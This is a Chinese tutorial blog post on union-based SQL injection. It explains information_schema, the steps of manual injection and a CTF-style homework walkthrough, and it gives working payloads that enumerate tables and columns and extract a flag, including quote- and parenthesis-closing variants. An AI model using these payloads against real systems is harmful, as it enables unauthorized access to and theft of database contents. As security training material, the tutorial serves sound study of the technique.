SQL注入——联合注入

2023-11-16

SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作

SQL注入的本质:我们也能操作别人的数据库

数据库结构:库:就是一堆表组成的数据集合    表:类似Excel,有行和列组成的二维表     字段:表中的列称为字段    记录:表中的行称为记录  单元格:行和列相交的地方成为单元格

在数据库里有一个系统库:information_schema    

        在他里面有个存放所有库名的表:schemata        schema_name  库名       

        在他里面有个存着所有表名的表:tables              table_name  表名            

        在他里面还有个存放着所有字段的表:columns   column_name   字段名

基本查询语句:

        select * from 表:从表里查询所有内容      

        where :有条件的从表中选取数据      

        and和or:条件有点多的时候从表中选取数据

        order by :根据指定的结果集/指定的列进行排序    

        limit 0,1:从第一行起显示一条记录      

        union select :将多个表拼接在一起(在进行联合查询的时候要注意前面的表和后面的表字段数要相同)

SQL手注的一般流程:

        1、判断注入点(注入点:存在SQL注入的地方)

                判断注入点:通过具有差异化现象的语句判断我们的语句是否进入到数据库

                方法:1、运算符检测(利用减乘除(id=2-1或id=2/2或id=0.5*2),加号相当于空格,如要使用加号,则需先通过URL编码(id=0.5%2B0.5)

                           2、and 1=1   and 1=2   (and -1=-1   and  -2=-1)

                           3、and  sleep(10)

        2、判断字段数

                利用 order  by  判断字段数   可使用二分法

        3、判断回显点

        4、查询内容

                查询数据库版本:version()

                查询数据库名字:database()

                查询表名

                查询字段名

                查询字段内容

                

作业:

1、

 

 

 

 id=2-1 order by 3

 

 id=2-1 order by 4

 

 由上可知,有3个字段

id=2-1 union select 1,2,3

 

 可知2和3是两个回显点

id=2-1 union select 1,2,database()

 

 知当前数据库名为 error

id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

得知该数据库中的第一个表为error_flag,欲得到其他的表只需将limit 后面的0改成其他数字的即可 

id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 0,1

 得知第一个字段为id

id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag' limit 1,1

得知第二个字段为flag

id=1 and 1=2 union select 1,2,flag from error.error_flag limit 0,1

 至此,得到flag

2、

 

id=1‘ and 1=1 -- qwe

 

 

 id=1' and 1=2 -- qwe

 

 id=1' and 1=2 union select 1,2,database()

 

 3、id=1') and 1=2 union select 1,2,database() -- qwe

 

 4、id=1") and 1=2 union select 1,2,database() -- qwe

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入——联合注入 的相关文章

随机推荐

  • PAN和MS融和综述(pansharpening)

    PAN和MS融和综述 pansharpening 一 基于成分替代的图像融和 1 基于IHS变换的图像融合方法 IHS方法是将原始多光谱图像从RGB空间变换到IHS空间 然后用高分辨率图像或用不同投影方式得到的待融合图像替代I分量 在IHS
  • spring的InitializingBean接口、DisposableBean接口

    本文介绍spring中与bean有关的一些接口 afterPropertiesSet afterPropertiesSet 方法是 Spring 框架中的一个初始化方法 主要用于在 Bean 实例化和属性注入完成后执行一些初始化操作 具体来
  • windows 7 系统安装

    环境 workstation 10 虚拟机 GHOST windows 7 32位 今天安装系统 碰到一些问题 在此记录 问题一是分区后 重启黑屏的问题 解决方案 问题二 点击安装到第一分区 自动跳转到dos工具界面问题 解决方案 问题三
  • Qt之QLabel

    简述 QLabel提供了一个文本或图像的显示 没有提供用户交互功能 一个QLabel可以包含以下任意内容类型 内容 设置 纯文本 使用setText 设置一个QString 富文本 使用setText 设置一个富文本的QString 图像
  • HR人员和岗位关联日期问题

    离职日期是4月3号 但4月1 2号的数据在GET PERNR 就查不到 原因是人员和岗位关联日期在3月31号就结束了 所以选中组织结构后找不到数据了 表HRP1001可以查看 O组织 S岗位 P人员 修改 PO13 gt 关系显示 gt 找
  • UNIX网络编程之源代码的编译和使用

    UNIX网络编程入门 对于想学习网络编程的来说 UNIX网络编程 这书肯定是不二选择 所谓实践是检验真理的唯一标志 特别是对于编程来讲 再多的理论经验也比不过code一次 UNIX网络编程 这本书提供连源码下载 第三本版的源码可点击这里下载
  • Linux——(第六章)常用指令(一)

    目录 一 帮助指令 1 man获取帮助信息 2 help指令 3 常用快捷键 二 文件和目录相关指令 1 pwd 指令 2 ls 指令 3 cd 指令 4 mkdir 指令 5 rmdir指令 6 touch指令 7 cp 指令 8 rm
  • 队列——queue

    Hello 这是你们的苦力怕 今天我去医院做核酸检测 排了老长的队 wait了半个多小时才做完 真是把我整无语死了 但是我在wait的过程中突然想到了一个问题 啥数据结构跟排队很像 对了 就是大名鼎的队列 目录 什么是队列 队列的用法 队列
  • 安装CP210xVCP遇到的问题

    在CE系统里面有USB设备虚拟串口的驱动 CP210xVCP就是这样 在写入注册表的配置信息里面 虚拟的串口默认为COM9 有一些设备上面 COM9是不行的 遇到这样的情况 修改为较小的编号 如COM6是可以的 还有一些设备 裁减掉了USB
  • Vue3、setup的使用

    Vue3 setup ref reactive toRef toRefs 1 setup的使用 1 1 简介 1 2 setup注意点 1 3 定义响应式数据 1 4 toRefs 1 5 setup中执行方法 1 5 1 方式一 1 5
  • Sqli-labs-master 1-4闯关游戏

    Less 1 首先打开到Less 1 根据提示Please input the ID as parameter with numeric value 请输入ID作为带数值的参数 这里我们用GET方法进行尝试 id 1 可以看到返回了用户名及
  • ceph pg inconsistent不一致,ceph pg repair无效

    更多ceph相关文章详见知乎ceph专栏 聊聊ceph ceph pg repair指令执行后 无效原因分析 ceph pg repair这一操作会先进行pg scrub 得到该PG中不一致的对象 然后再进行recovery pg scru
  • NVIDA CUDA architecture查询

    官网查询 https developer nvidia com cuda gpus 如下图所示 另外在CUDA SDK目录下有deviceQuery的示例程序 WIN10路径是C ProgramData NVIDIA Corporation
  • 若要运行此应用程序,您必须首先安装NET Framework 解决办法

    先把进入控制面版 删除原来的版本 安装 Net Framework失败 解决方案 第一步 如果是XP系统 这么做 1 开始 运行 输入cmd 回车 在打开的窗口中输入net stop WuAuServ 2 开始 运行 输入 windir 3
  • stm32f1一路互补PWM大功率DCDC降压方案

    stm32f1 ucc27211 tl431大功率dcdc电路 源码程序
  • 共探工业数智化,TVP河南工业互联网论坛将重磅召开!

    引言 随着数字经济与经济社会发展的深度融合 工业互联网日益成为数字化转型的关键驱动力量 云计算 大数据 AI 物联网等蓬勃发展的新技术将为制造业提供数字转型 智能升级 融合创新等服务 工业互联网也迎来了新一轮的历史发展机遇 在新技术的加持下
  • DataWhale-VCED项目学习-2Jina

    Jina Jina是多模态中存储数据以及处理数据的组件 它可以将非结构化数据 图像 文档 视频等 转化为向量数据 并结合Jina其它的相关组件设计 可以将这些向量数据利用起来 实现多模态相关应用 安装 安装 Jina 需要 Python3
  • git简单命令

    登录自己的账号与邮箱 git config global user name wei gir config global user email ww 进入一个文件夹中之后 git init 初始化仓库 生成 git文件 该文件夹称为工作树
  • 剑指offer-17 合并链表

    2个链表 本来都是从小到大的顺序排列的 现在要求合并 合并后依然从小到大 思路 先设定一个pointer指针 指向新链表的新节点 1 如果链表1为空 则新链表就是链表2 反之一样 2 创建一个指针pointer 在子链表都不为空时 比较两个
  • SQL注入——联合注入

    SQL注入原理 攻击者通过构造不同的SQL语句来实现对数据库的操作 SQL注入的本质 我们也能操作别人的数据库 数据库结构 库 就是一堆表组成的数据集合 表 类似Excel 有行和列组成的二维表 字段 表中的列称为字段 记录 表中的行称为记